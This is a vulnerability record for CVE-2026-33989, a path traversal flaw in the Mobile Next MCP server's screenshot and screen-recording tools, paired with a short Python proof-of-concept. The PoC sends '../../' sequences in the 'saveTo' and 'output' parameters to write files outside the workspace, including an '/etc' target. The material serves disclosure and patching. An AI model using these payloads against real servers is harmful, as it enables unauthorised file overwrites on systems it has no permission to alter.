CVE-2026-33989

import requests import json # PoC for CVE-2026-33989: Path Traversal in Mobile Next MCP Server # Target: @mobilenext/mobile-mcp < 0.0.49 # This script demonstrates writing a file outside the intended workspace. TARGET_URL = "http://localhost:3000/call_tool" # Example MCP endpoint payload = { "tool": "mobile_save_screenshot", "arguments": { # Using path traversal sequences to write to a sensitive location "saveTo": "../../tmp/malicious_file.txt", "data": "bWUtYW5kcm9pZC1hdXRvbWF0aW9uLnBvYw==" # Base64 encoded dummy data } } # Alternative payload for screen recording # payload = { # "tool": "mobile_start_screen_recording", # "arguments": { # "output": "../../etc/config_override.json" # } # } try: response = requests.post(TARGET_URL, json=payload) if response.status_code == 200: print("[+] PoC executed successfully. File likely written outside workspace.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-33989", "sourceIdentifier": "[email protected]", "published": "2026-03-27T22:16:22.950", "lastModified": "2026-03-31T21:52:33.573", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mobile Next is an MCP server for mobile development and automation. Prior to version 0.0.49, the `@mobilenext/mobile-mcp` server contains a Path Traversal vulnerability in the `mobile_save_screenshot` and `mobile_start_screen_recording` tools. The `saveTo` and `output` parameters were passed directly to filesystem operations without validation, allowing an attacker to write files outside the intended workspace. Version 0.0.49 fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}, {"lang": "en", "value": "CWE-73"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mobilenexthq:mobile_mcp:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "0.0.49", "matchCriteriaId": "BE5CFF3D-EA63-4D6D-97F5-287A5C4DCFFB"}]}]}], "references": [{"url": "https://github.com/mobile-next/mobile-mcp/commit/f5e32295903128c1e71cf915ae6c0b76c7b0153b", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/mobile-next/mobile-mcp/releases/tag/0.0.49", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/mobile-next/mobile-mcp/security/advisories/GHSA-3p2m-h2v6-g9mx", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}